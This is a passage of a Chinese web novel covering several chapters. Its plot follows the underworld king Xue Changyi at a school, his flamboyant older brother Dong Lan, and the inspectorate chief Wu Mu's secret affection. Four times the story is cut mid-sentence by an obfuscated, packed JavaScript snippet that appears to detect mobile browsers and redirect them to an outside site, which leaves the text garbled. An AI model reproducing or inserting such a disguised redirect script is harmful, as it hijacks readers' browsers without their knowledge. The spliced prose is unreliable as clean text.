——“好暖和,还要,满足我……”“白皙的手臂缠上,娇嫩的唇瓣献上。难耐的吐息层层叠叠。”“昔日里高高在上,冷若冰霜的阎王,辗转呜咽,不知餍足的所求着,仿佛一只贪吃的小猫”…… 文字好像能自动生成画面,瞬间与薛长仪重叠在了一起。 啪! 乌木猛地将小说合上,扔在书桌上,动作卡顿了一下,重新拿起小说,放在最下层的抽屉里,最后还上了锁,确保万无一失。 薛长仪:“……”在藏什么东西?难道是督察司的绝密文件? 叩叩叩—— 宿舍门被敲响。 “我去开门。”乌木将宿舍门拉开。 “老大?!”豹尾惊喜的瞪大眼睛:“你醒了?这次醒得也太快了!我还以为你明天晚上才能醒呢!老大你不知道,当时你的脸色有多白,就好像……咦?” 豹尾说着说着,疑惑的指着薛长仪的嘴唇:“老大你的嘴唇好红啊,好像……还肿了?” 乌木:“……” 薛长仪疑惑的摸了摸自己嘴唇,只能感觉到刺痛和火辣辣的酥麻,稍微一碰还有点说不清楚的余韵,但他看不到自己的嘴唇是否红肿。 乌木立刻转移话题,向门外看了一眼:“都进来吧。” 原来门外还有人。除了鱼鳃和豹尾之外,第九班的学子也在。 “薛老师!”项羽第一个冲进来:“薛老师你没事吧?听说你生病了,严不严重?” 自从去楚汉之争的时空,课外实践活动插秧结束之后,项羽已经转变成为了薛老师的毒唯,听说薛老师生病请假,今日无法来上课,担心的不得了,恨不能插上翅膀飞过来探病。 项羽伸手覆在薛长仪的额头上:“发烧没有?” 薛长仪下意识侧头向后躲开, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14290444|151615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他不喜欢旁人触碰,一来是因为薛长仪的秉性比较冷淡,二来也是因为薛长仪的体质,身为补天石,总是会自动吸收外界的灵气。 “没事,”薛长仪微笑:“没有发烧,现在已经好了。” 项羽还是担心:“薛老师看起来就温温柔柔的,不像我们这些牛犊子,你一定要好好养病啊,不可大意。” 薛长仪保持微笑:“多谢你们,老师真的没事。” 乌木站在一边,眼神凉飕飕的盯着项羽的手掌,出口说:“别围在床边,不通风。” “薛老师……”一个弱气的声音响起,带着一点小奶音——是成蟜。 成蟜怯生生的站在后排,他个头本就小,瞬间被掩埋了起来。 揪着衣角,垂着头,一脸做错事情的可怜模样,成蟜轻声说:“我、我不是故意的,不知道薛老师为了找我,会……会病倒。” “没关系,”薛长仪说:“我是你们的代课班主任,自然要照顾你们所有人,不必有心理负担,再说老师已经恢复了。” 成蟜嘟着嘴巴:“我以后再也不乱跑了……” 薛长仪看向嬴政,说:“你身为代班长,又是成蟜的兄长,平日里多看着一些成蟜,毕竟他是咱们班上最小的学子。” 嬴政点点头:“知道了,薛老师。” 成蟜惊讶的看向薛长仪,喃喃的说:“薛老师……” 成蟜最害怕的,就是失去自己的亲人,他与薛长仪诉说过,薛长仪刚才的话听起来好像一个班主任普普通通的嘱咐,但仔细一听,其实是在为成蟜创造机会。 成蟜感激的哽咽,一双大眼睛充满了泪泡。 “薛老师,今天是豹尾来给我们代课语文!” “听说他以前是教体育的?” “那明天还用交作业吗?” 学子们叽叽喳喳,探病大约四十分钟,在乌木的忍耐极限上不断拉扯,终于准备离开。 “薛老师,好好养身体。” “是啊,如果明天不能来上课,可不要勉强啊。” “我们走了,薛老师休息吧。” 学子们纷纷离开,宿舍终于安静下来。 鱼鳃张了张口,似乎想说什么,但下意识看了一眼乌木,欲言又止。 鱼鳃跟着薛长仪那么久,是第十殿的肱股之臣,薛长仪自然了解鱼鳃的性格,冷静而谨慎。 于是薛长仪微笑说:“乌部长,能不能劳烦你去楼下打一壶热水来?” 乌木提起薛长仪的水壶,沉甸甸的,满的。 但他并没有回拒,点点头,一言不发的离开了宿舍,咔嚓——带上门。 “说吧。”薛长仪说:“是有什么事情,不能当着乌部长说?” 鱼鳃面色深沉:“老大,我们打听到了,的确是中央总厅让第九班做体验,只不过……” 鱼鳃看了一眼紧闭的宿舍大门,不久之前,乌木就是从这里离开的。 “不过,”鱼鳃的表情更加严肃:“那些体检的样本没有送回中央总厅,而是送到……第一督察司。” 薛长仪眯起眼睛,若有所思的低喃:“乌木。” 18.好哥哥 乌木提着暖壶,和他笔挺的西装格格不入的暖壶,走出444宿舍,往路宫旁边的暖水房走去。 嗡—— 手机震动。 乌木只看了一眼,蹙起双眉。 ——向我报告薛长仪今日的动向。 乌木加快了脚步,进入暖水房,水房中正好有人,是传达室的保安大爷。 “乌老师!”保安大爷热情的打招呼:“也来打热水啊?哎呦,今日的水可烫了,不像平时,都不开的。” 乌木点点头,面色凝重,没有说话。 保安大爷并不嫌弃乌木的冷漠,提着暖水壶笑眯眯的离开。 乌木站在水房之中,刷卡打开热水,汩汩的水流涌出,噪音巨大。乌木环视了一圈左右,确定四周无人,拿出手机来,伴随着巨大的噪音,拨通了一串陌生号码。 “喂……父亲。”乌木低沉的说。 * “什么?!”豹尾沉不住气:“体检的结果,竟然是送到第一督察司?小鱼,这件事情你怎么没告诉我?” 鱼鳃无奈的说:“告诉你?就会是这样的反应,到时候乌部长知道我们在调查这件事情,岂不是暴露了?” “也是啊……”豹尾挠了挠后脑勺。 “老大!”他又说:“督察司可是乌部长的地盘,他肯定知道体检的事情,今儿个一天还装作不知情的模样,没想到啊,他可真是能装!我就说了,督察司的人没一个好东西,二殿主那么温柔和善,当年还不是被他们……”打下欲忘台。 不等豹尾抱怨完毕,鱼鳃拽了拽他的袖子,对他摇摇头。 十殿鬼差们,都对二殿主被打下欲忘台的事情义愤填膺,更不要说身为弟弟的薛长仪了。薛长仪平时不愿意提起这件事情,但是有几次体力透支昏迷之后,都在梦中呢喃着“二哥”,鱼鳃曾经听到过,知道这是薛长仪心中的死结。 一旦被触碰,遍体鳞伤的死结…… 薛长仪并没在意豹尾的“莽撞”,因为豹尾也是真的敬重担心二殿主,才会提起当年的事情。 “这件事情不要声张。”薛长仪嘱咐。 豹尾点头:“放心吧老大,我虽然平日里马虎了一些,但我的嘴巴还是有把门的。” 薛长仪又说:“督察司那边,还需要盯着,一旦有与学宫有关的消息,立刻转达给我。” “是!” “是!” 薛长仪说了这么一会儿话,似乎有些疲惫,摆摆手:“你们回去休息吧。” “老大……”豹尾叮嘱:“好好休息啊。” 二人离开了444宿舍,乌木打热水还没有回来。 薛长仪一个人在宿舍之中,眼眸微微波动,似乎在想什么,走到窗边,望着黑洞洞的天际,那是一片混沌的天际。 薛长仪思索片刻,最终拿出手机,拨通下去。 “喂?”对面几乎是秒接电话,声音充满了活力与惊喜:“好弟弟,你怎么想到给哥哥打电话?” 薛长仪的表情比刚才放松了许多,唇角翘起微笑:“老七,现在忙吗?” “不要叫我老七!”对方抗议:“我是你哥哥!没大没小的,你应该叫我七哥!快,叫哥哥!” 对方正是十殿阎王之中的第七殿阎王——董阑,掌管碓磨肉酱地狱,主管世间取骸合药之事。 薛长仪自动忽略了七殿阎王的强烈诉求,说:“我遇到些事情想要请你帮忙。” “真是稀奇呢!”董阑笑起来:“小十你竟然请我帮忙,肯定是遇到了难处,所以想到哥哥了,对不对?” 薛长仪平静说:“今天有一批从稷下学宫送出的血液样本,送到了第一督察司,我想请你帮我查查这些血液样本,有没有什么异样或者奇怪的地方。” “血液样本?”董阑的声音提高了一个八度,听得出来十分感兴趣。 董阑主管的第七殿,本就与之相关,而董阑本身也喜欢一些古怪的实验,光是他给孟婆研究的不同口味不同功效的孟婆汤,就有十七种之多。 “好吧!”董阑爽快的说:“包在哥哥身上了,可是——” “怎么了?”薛长仪了然:“你有什么条件,尽管提出来吧。” 董阑笑起来:“你也知道的,督察司和咱们阎王殿根本不对付,我虽然有些人脉,但是想要伸手到督察司调查血液样本,还是很危险呢!所以……” “所以?”薛长仪挑眉。 董阑的笑声变得雀跃:“所以,你要叫我好哥哥!叫三十声好哥哥,我就答应你!” 薛长仪:“……” 董阑退步:“十五声也行!这可是我最后的让步!” 薛长仪:“……” 董阑:“好吧好吧,我知道小十你害羞,那就十声!十声总行了吧?” 薛长仪:“……” 董阑咬牙切齿:“五声!五声可以了吧?” 薛长仪深深的叹了一口气,算了,五声就五声吧…… 他刚想答应,董阑又做了退步:“好啦!三声!这可是最后的底线了!你知道的,哥哥我的底线是很坚定,不容动摇的!” 薛长仪挑眉:“成交。” 董阑的声音变得兴奋:“快快快!我已经洗耳恭听了!” 薛长仪无奈:“……好哥哥。” “啊?”董阑提高嗓音:“你说什么?我听不清啊——” 薛长仪翻了一个白眼,提高了一些声音,一字一顿的说:“好、哥、哥!” 吱呀—— 好巧不巧,444宿舍大门被推开,乌木正好提着暖水壶走进来。 按照乌木的耳力,绝对听到了薛长仪那一声“好哥哥”,乌木的表情有些凝滞,微微蹙眉:“你在给谁打电话?” 薛长仪没有再多说,挂了手机,这才敷衍的说:“没谁。” 薛长仪恢复了一天,连他自己也很奇怪,这次体力透支,恢复起来比平日都快很多,第二天清晨醒来,并没有任何疲惫的感觉,甚至比往日更加精神,大有一种神清气爽的冲动。 薛长仪收拾了课本,准备去给第九班上课。 “薛老师。”乌木出声:“要去上课?正好我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14301096|151615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也去体育器材室,一起走吧。” 二人出了门,乌木多次欲言又止,薛长仪的观察很敏锐:“乌老师,有什么事情吗?直说吧。” 乌木稍微咳嗽了一声:“昨天……你在给谁打……”打电话,还叫好哥哥? “小十——” 不等乌木说完,一声具有活力,清脆雀跃的嗓音横插进来,仿佛黄鹂,悦耳动听,叽叽喳喳。 “小十!”紧跟着一道小巧的身影,直扑薛长仪。 薛长仪下意识戒备,本想闪身躲开,他并不喜欢陌生人的触碰,只是一顿之下,薛长仪看清楚了来人,竟没有闪开,反而硬生生止住了步伐,伸手接住扑过来的人。 咚! 对方热情的扎进薛长仪怀中。 一身娇粉色的古代罗裙,长长的鬓发挽着像兔耳朵的髻子,头上插着几朵白色的小花做点缀,巴掌大的脸蛋儿,尖尖的下巴,皮肤吹弹可破,犹如剥了壳的鸡蛋,娇俏又可爱,尤其是那一双大眼睛,水灵灵闪烁着光芒,好像天上的繁星。 是个可爱的古装小萝莉,看起来最多十五六的模样。 乌木看到有人“袭击”薛长仪,还如此亲密的接触,下意识要去扣对方的肩膀。 “老七?”薛长仪的疑惑打断了乌木的动作:“你怎么来学宫了?” 老七?十殿阎王之中,第七殿的阎君——董阑。 那穿着裙子的小萝莉,的确就是董阑本人,虽然排行老七,但本人看起来比薛长仪年纪小很多,怪不得薛长仪打死也不叫他好哥哥。 而且…… 老七有个爱好,就是穿女装,平日里还会和鱼鳃交流交流心得,探讨探讨地府的流行款式。 乌木身为督察司的司长,其实见过七殿阎王董阑,不过当时的董阑穿得是男装,威严的审判着恶鬼,和眼前娇美的小萝莉……判若两人。 董阑比薛长仪矮了很多,身材娇小,搂着他的腰,撒娇说:“当然是因为哥哥想你了,听说你被调到学宫,特意过来看看你!” 他说着,回头看向乌木,撇了撇粉嫩的嘴唇:“噫——督察司的人?” 薛长仪平静的介绍:“乌部长现在是学宫的代课体育老师。” 董阑又撇了撇嘴巴,没说话。但他又看了一眼乌木,挑了挑眉,一手搂着薛长仪的腰身,一手整理了一下斜挎在身上的背包。 原来董阑身上还挎着一个背包,只是刚才蹦出来的时候背包坠到了一边。 古香古色的女裙,竟搭配了一个粉色的……痛包! ——扎着粉色的大蝴蝶结,挂满了印着薛长仪各种表情各种动作吧唧的痛包。 值得一提的是,这些吧唧都是独家孤品,全都是董阑亲自拍照,亲自制作的吧唧,独一份,没有第二家。 董阑昂起尖尖的小下巴,对乌木投去挑衅的目光,故意整理了一下痛包上挂着的两只彩虹大字钥匙链。 其中一只钥匙链写着。 ——弟控!!! 第二只写着…… ——看什么看,你自己没有弟弟吗?! 19.大秘密 董阑搂着薛长仪的腰,好像一只小猫咪,使劲蹭蹭蹭,粘人的厉害,嘴里却说:“我弟弟又变可爱了,好可爱——好可爱——” 薛长仪:“……” 乌木:“……” 乌木紧紧盯着董阑的痛包,目光变得深沉起来,这让薛长仪有一种错觉,乌木好像和这只古怪的背包有仇,那冰冷冷的眼神足以毁掉这只背包。 不,也不对……是一种“爱而不得”,“因爱生恨”的眼神…… 薛长仪揉了揉额角,我一定是病了,不然为何从乌部长冷冰冰的眼神里,解读出了这么多奇怪的感情? 董阑毫不忌讳乌木的目光,甚至可以说很享受乌木的目光,搂着薛长仪说:“小十小十,快告诉哥哥,你有没有很想哥哥!” 薛长仪头疼:“我们昨天才通了电话。” 乌木眼眸一动,原来昨天薛长仪口中的“好哥哥”,就是字面意思上的哥哥。 “那不算那不算!”董阑说:“当然要见面才算了!你说,你想不想哥哥!想不想?” 薛长仪的眼皮都开始狂跳:“老七别闹了,第九班的早读开始了,我要去看着早读了。” “唔……”董阑很是失落,头上的兔耳朵发髻差点垂下来,可怜巴巴的说:“那好吧。” 薛长仪说:“你先在学校里逛一逛,我下了早读就来找你。” 另外还强调:“不要到处乱跑,不要捣乱。” 董阑扬起巴掌大的小脸蛋儿,从下往上看着薛长仪,乖巧的令人心生保护欲望。 “小十你这么说,别人会误以为哥哥让你很不省心的!” 薛长仪微微一笑:“你知道就好。” 董阑:“……” 薛长仪看了一眼千魔眼化成的腕表,早读已经开始了,立刻抬步往泮宫教学楼的第九班而去。 “薛老师!” 身为毒唯的项羽,一直翘首以盼,站在窗户旁边,看到薛长仪走进来,火速热情的迎上去:“薛老师怎么今天就来上课了?不多休息两天?” “怎么?”薛长仪说:“不喜欢老师给你们上早读?” “不不不!”项羽使劲摇手:“喜……喜——” 他说着,一张坚毅的脸面竟然慢慢涨红了:“当然喜欢的!” 刘邦笑起来:“阿羽昨日一天叨念了薛老师七十八遍,如今可见到薛老师,老师身体没事,我们也能放心一些。” “谁说的?!”项羽瞪眼:“我哪有叨念了那么多遍?” “哦,”刘邦点点头,受教的说:“是为兄记错了,仔细一想,应该是八十八遍,竟然数错了。” “刘邦你这个伪君子!”项羽从瞪眼开始跳脚:“是找打吗!来啊,来演武场,咱们好好打一架!” 薛长仪看向成蟜:“成蟜同学也没事吧?” 成蟜眼巴巴的看着薛长仪,使劲点头:“薛老师,我没事哒,昨日麻烦薛老师费心,都是我的错……” 薛长仪摸了摸他的头发,轻声说:“都过去了。” 成蟜扬起小脸蛋儿,两只大眼睛泪哗哗,朦胧着雾水,随时都会流下眼泪来。 “好了,”薛长仪走上讲台:“早读已经开始了,各位同学自习吧。” 校长应声走进第九班教室,微笑说:“薛老师,今天咱们班新来了一个化学老师,之前的化学老师不是调岗了吗,终于找到了一个十分靠谱,十分厉害的化学老师!” 之前的化学老师说是调岗,其实根本原因,就是因为受不了第九班的调皮捣蛋标新立异,因此写了一百八十三封邮件,向地府中央总厅申请调岗,终于在寒假的时候脱离苦海,调岗走人。 校长为了这个事情,着急上火,一直在寻觅好的化学老师,甚至想让隔壁八班的化学老师帮忙代课,只是代寒假的补课,但人家老师一听,如临大敌,吓得连连摇手——教不了教不了。 历经周折之后,终于有化学老师肯来给第九班补课,真乃可喜可贺,校长为了这件事情,决定连续一旬茹素,表达自己的虔诚之心。 “化学老师?” “你们猜猜看,新来的化学老师能在这个班里呆几天?” 吕布转着方天画戟哈哈大笑:“我猜啊,一周?” “太多了吧,”杨广笑说:“最多三天。” 项羽也兴致勃勃:“那我就赌五天!” “都坐好!”校长指着吕布:“你怎么又把管制兵器带进教室了!收起来收起来,快都给我收起来!别闹了,都坐好,你们的新老师来了。” 踏踏踏…… 是跫音。 很轻巧,带着一股雀跃与轻盈。 首先是一片粉色的衣角进入了众人的视线,然后是一双像兔子一样的发髻…… 新老师皮肤白皙剔透,犹如剥了壳的鸡蛋一般,面容娇俏可爱,身量不高,身材纤细,小鸟依人,甚至年龄看起来更像是学生,而不是授课的老师。 “老七?”薛长仪疑惑的看向走进来的化学老师。 ——第七殿阎君董阑! “嗬——” 咚!! 吕布的方天画戟一个没拿稳倒下来,直接砸在他的脑袋上。 “新来的化学老师……长得好好看……” 项羽嫌弃的说:“快收收你的眼珠子,都掉到我这里来了,要我说还是薛老师好看一些。” 薛长仪蹙眉走过去,低声说:“你这是干什么,不要胡闹。” 董阑嘟嘴,抗议:“哥哥哪里是胡闹呀,你们学校缺化学老师,正好哥哥也想天天都看到小十,这不是两全其美吗?” 第一节课的铃声打响,很巧的是第一节课就是语文,薛长仪需要给第九班上课,董阑摇摇手说:“好好上课,下课帮哥哥收拾宿舍哦。” 薛长仪:“……” 薛长仪无奈的看着董阑,董阑蹦蹦跳跳,头上的兔耳朵发髻一晃一晃,雀跃的离开了第九班的教室。 “哎吕布,别看了,脖子都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14311239|151615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要扭断了!人早就走了……” “新来的老师,也太可爱了一些。” “年纪看起来这么小,怎么授课?” “不过看样子……董老师好像和薛老师认识?” 董阑蹦蹦跳跳的离开泮宫教学楼,没有立刻去整理宿舍,而是拐了一个弯儿,进了操场旁边的体育器材室。 黑压压的器材室里,乌木正在整理篮球,但他的动作很慢,也不怎么上心,完全就是一副打发时间的模样。 董阑站定在乌木身后,乌木整理篮球的动作没有停顿,但侧目看了一眼,显然他已经发现了对方。 “乌木,”董阑笑眯眯的说:“地府中央总厅,第一督察司司长……” 他说到这里,笑容慢慢扩大,那柔软的笑意犹如绽放的花朵,无比甜蜜。 “躲在暗处的小乌鸦。” 董阑没头没脑的说了一句令人听不懂的话。 嘭——咚咚咚咚…… 乌木将篮球扔进收纳筐的动作一顿,篮球竟砸在了筐子的边缘,直接飞弹了出来,发出一连串的噪音。 董阑慢慢踱步:“乌部长不知道吧,我可是薛长仪后援会的会长!最近听说有个刚入会的小新人,论坛的ID就叫做——躲在暗处的小乌鸦。” 乌木沉默着。 董阑又说:“好多人找我告状,说这个小乌鸦,根本就是个脑残,年龄最多学龄前,还是个假装男人的梦女,到处蹦跶,到处跳脸,简直是后援会的害群之马,于是——本会长大人就稍微调查了一下,乌部长你猜猜看,我调查出了什么惊、天、大、瓜!” 乌木的眼神深沉起来。 “这个小乌鸦,”董阑故意放慢了语速:“很多时候竟然用的是中央总厅的局域网!还是地府在编公务员呢!我就在闲置网站上放了几只我可爱弟弟的绝版吧唧,果然小乌鸦立刻上钩,乖乖填了收货地址,哦吼~收货地址是——地府一中稷下学宫路宫教工宿舍楼444宿舍,乌老师收!” 乌木沉浸在沉默之中,董阑好像在唱独角戏,但这并不妨碍他的热情。 “原来……”董阑拍手:“小乌鸦不是梦女,是个梦男!要不要我把高冷的乌部长是变态梦男的秘密,告诉我可爱的弟弟?” 正说话,薛长仪突然从器材室外面走进来:“老七!” 乌木目光一动,皱眉说:“薛老师第一节不是有课吗?” 薛长仪的表情很自然,好像没听到他们刚才的秘密对话:“随堂考,我抽空出来的。” 薛长仪拉过董阑,说:“让你别乱跑的,乖乖回宿舍,一会儿我下了课帮你整理宿舍。” 董阑对乌木挑眉,别有深意的说:“小十小十!哥哥要告诉你一个惊天大、秘、密!其实……唔唔唔!” 他的话还没说完,乌木一步跨上来,快准狠捂住董阑的嘴巴,一脸冷冰冰,却过分热情:“薛老师,反正我现在没课,我带七殿主去宿舍吧。” 薛长仪:“……”有古怪。 20.失恋了 薛长仪奇怪的看着走远的乌木和董阑,这二人应该没有任何交集才对,今日却好像有什么悄悄话要说,且不能被自己听到的那种。 薛长仪虽然奇怪,但还有语文课要上,不能离开太久,只好离开体育器材室,回到泮宫教学楼。 路宫教工宿舍5层。 嘭—— 乌木将董阑拖进宿舍,关闭大门,这才放开了董阑的口鼻。 “哼!”董阑叉腰:“果然是躲在暗处的小乌鸦啊,有本事当面和小十说啊?” 乌木沉声说:“七殿主不是要收拾宿舍吗?我帮你。” 董阑刚刚搬来学宫,行李还没收拾,他的宿舍房间在五层,和薛长仪正好不在一个楼层,宿舍就他一个人,没有其他的老师职工,一直空置着,难免落土。 董阑嫌弃的看了一眼四周的灰土,说:“好吧,那你忙吧!” 董阑走到一边抱臂站着,任由乌木忙前忙后的收拾。 薛长仪下了语文课,收走了随堂考试的试卷,一刻也不想耽误,立刻便要去找董阑。 “老师老师!”吕布热情的说:“新来的化学老师,和老师你是不是认识?” “长得好好看啊!” “董老师有没有男朋友?成婚了没有?” 吕布一连串询问着,还傻笑了起来:“董老师是老师你的妹妹吗?” “哈哈哈!”旁边项羽起哄:“吕布你小子,看看你现在的模样!” 薛长仪挑了挑眉,淡淡的说:“董老师不是我的妹妹。” “哦……”吕布说:“那就是熟人?” 薛长仪摇头:“董老师是我的哥哥。” “哦哦我就说,应该是亲戚,原来是哥——”吕布后知后觉,瞪眼大吼:“哥哥???” 那个梳着兔耳朵发髻,鬓角戴着小白花,身穿粉嫩罗裙,长相甜美的化学老师,其实是——男孩子! 吕布一脸空白,大受打击,呆呆的兀立在原地。 薛长仪摇了摇头,无奈的叹口气:“记得明天交作业。” 说完踏出了第九班教室。 “吕布!嘿!吕布!”教室里传来哄笑的声音:“回神儿了!” “吕布的魂儿丢了!” “吓跑了吧?” “我觉得不然,一定是失恋了!” “哈哈哈……” 伴随着哄然大笑,薛长仪离开泮宫,快速往路宫宿舍楼而去,直接上了五层,董阑的宿舍房间关着门,还上了锁,显然不在里面。 薛长仪皱眉,拿出手机给董阑打电话。 “喂?”董阑接得很快,几乎是秒接:“小十啊!下课了吗?一下课就给哥哥打电话,是不是很想很想哥哥?” 薛长仪开门见山:“你怎么不在宿舍?不是让你在宿舍等我?” “哦是这样的,”董阑声音甜甜的:“哥哥在化学实验室呢!乌老师刚才帮我收拾了宿舍,干活儿可麻利了,又快又好的,我一看还有空,就麻烦乌老师帮我再收拾一下化学实验室了,我们在实验室呢。” 薛长仪深深的叹了一口气,让督察司的司长帮忙收拾宿舍和实验室?这听起来像话吗? 他立刻挂断手机,往泮宫的实验楼而去,果然看到了董阑,和……乌木。 董阑大老爷一般坐在旁边,甚至翘着腿,手里抓着一把瓜子,正在悠闲的嗑瓜子! 而乌木一身笔挺的西装,带着一条黑白色的围裙,好像咖啡店的制服店员一般,手中拿着拖把,正在给实验室擦地。 化学实验室整洁如新,地面锃亮发光,简直一尘不染。 “小十,这边!”董阑招手。 乌木看到薛长仪走进来,下意识看向自己的围裙,干脆利索的摘下来,丢在一边,又恢复了平日里冷冰冰的模样。 薛长仪对乌木点点头:“乌部长不好意思,给你添麻烦了。” “怎么会麻烦呢!”董阑对乌木眨眨眼睛,满眼都是威胁:“大家都是学宫里的老师,乌老师还是前辈,本就应该互相帮助的,对不对?” 乌木还是一脸面瘫,但点了点头:“应该的,不麻烦。” 薛长仪更是疑惑,乌木堂堂一个部长,竟然心甘情愿的给董阑打扫卫生,打扫了宿舍不说,还跑来打扫化学实验室,如果乌木不是打扫卫生上瘾,其中肯定有猫腻。 难道…… 薛长仪的眼神一动,瞥了一眼乌木,又看了一眼董阑。 难道乌部长和吕布一样,都觉得董阑好看? 董阑生得的确好看,身材娇小玲珑,乍一看就是个可爱的女孩子,又会撒娇,虽然行事作风有的时候不靠谱,稍微跳脱了一些,但工作的时候干脆利索,丝毫也不拖泥带水,可谓是十殿之中的团宠了。 冷冰冰的乌部长,如果喜欢董阑,好像也不是没有可能…… 乌木对上薛长仪的目光,总觉得后背发麻,实在耐人寻味,可偏偏寻味不出来。 乌木压低声音,对董阑说:“宿舍和实验室,已经帮你打扫干净了,希望七殿主不要忘记自己的承诺。” 董阑轻笑一声:“放心放心,我是不会把你喜欢小十的事情,告诉小十的!毕竟我可不想帮你表白,身为兄长,我希望小十一辈子不知道这件事情。” 乌木微微送出一口气,但很快又沉下一口气。督察司和十殿阎王对立,这是地府中央总厅尽人皆知的事情,对立之人,又怎么能和敌人表白呢?永远也不能。 再有…… 乌木是三足金乌,原型乃是一轮太阳,而薛长仪的真身乃是补天石,会无休无止的吸收能量,直到承受不住而爆炸,无论如何,他们二人都无法在一起,绝对的不合适。 乌木的面色又恢复了冷冰冰:“我先回宿舍了,你们聊。” “老七,”薛长仪看着乌木离开的背影:“你们背地里嘀嘀咕咕什么?我怎么不知道,你和乌部长私底下还有交情?” “交情?”董阑冤枉:“小十你可不要瞎说,督察司给我们第七殿找了多少麻烦,你又不是不知道,咱们十殿哪个不讨厌督察司的人?我只是警告那个乌木,让他不要找你麻烦!” * 乌木离开泮宫实验室,他今天没有课程,回了宿舍,刚打开笔记本准备完成一些督察司的工作,手机突然震动起来。 嗡嗡—— 乌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14323747|151615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 木拿起手机看了一眼,脸色凝重,立刻大步出了宿舍,甚至离开稷下学宫,往督察司而去。 乌木走进督察司司长办公室,一个人坐在司长的办公椅上,办公椅背对着大门,看不清那人的长相。 一点没有意外,乌木镇定的关上办公室的大门,不需要看对方,微微垂下头:“父亲。” 对方还是没有回过身,而是用苍老的嗓音说:“你还知道,我是你的父亲。” 乌木一板一眼的说:“不知道是不是我做了什么,惹得父亲不愉快了?” 对方冷笑:“乌木,我将你收为义子,让你接替督察司司长的位置,你就是如此报答我的?” 那个苍老嗓音的主人,正是前任督察司的司长。 “你自己做了什么,心里在想什么,别以为我不知道。”前任司长幽幽的说:“当年是你亲手纠察的二殿主,又将二殿主打下欲忘台,永世轮回不得善终!乌木啊,不管你做的对不对,薛长仪永远也不会原谅你。” 听到薛长仪三个字,乌木手臂上的肌肉下意识绷紧。 “他只会恨你。”前任司长一字一顿的说。 乌木紧紧握拳,他的吐息完全凝滞了。 “所以……”前任司长说:“不要抱有不切合实际的幻想,你是督察司的人,他是第十殿阎王,你们注定——不死不休。” * 薛长仪打算将随堂考试的卷子送回宿舍,然后带着董阑去学宫食堂吃午饭,董阑第一天来学校,哪里都不适应,应该带他转转才是。 宿舍没关门,轻轻一推就开了,但乌木不在宿舍之中,笔记本电脑放在书桌上,甚至没有关闭,看得出来乌木离开的时候十分匆忙。 薛长仪的脚步一顿,目光一动,面色凝重起来,快速放下手中的卷子,将门关上,从里面锁起来,跨步来到乌木的书桌前,轻轻碰了碰鼠标。 笔记本已经息屏,屏幕重新亮起来需要输入密码。 这是乌木的电脑,薛长仪眯起眼目,里面一定都是督察司的机密,如果能破解乌木的密码,或许能查到当年二哥被打下欲忘台的档案。 当年薛长仪的二哥,第二殿阎王被督察司纠察,打下欲忘台,从头到尾都没有明确公布二殿主的罪名,只是笼统的说二殿主作奸犯科,供认不讳,是心甘情愿被打下欲忘台的。 薛长仪了解二哥,二哥是兄弟之中最为正直温柔的一个,秉性一丝不苟,绝不会做这种事情。 薛长仪想知道当年到底发生了什么,二哥为什么会被纠察,这些都是绝密的档案,说不定会保存在乌木的电脑里,毕竟他是督察司的司长。 “密码……”薛长仪输入了一串数字:“会不会是督察司的编号?” 嘟嘟! ——密码错误,请重新输入。 薛长仪想不到与乌木有关,或者有可能的数字,下意识输入了自己常用的密码,也就是自己的生辰。 ——1014 叮—— 一声提示音过后,蓝色的密码界面突然展开,进入了桌面界面。 “密码……”薛长仪难得如此震惊,明亮的眼眸微微晃动:“是我的生辰?”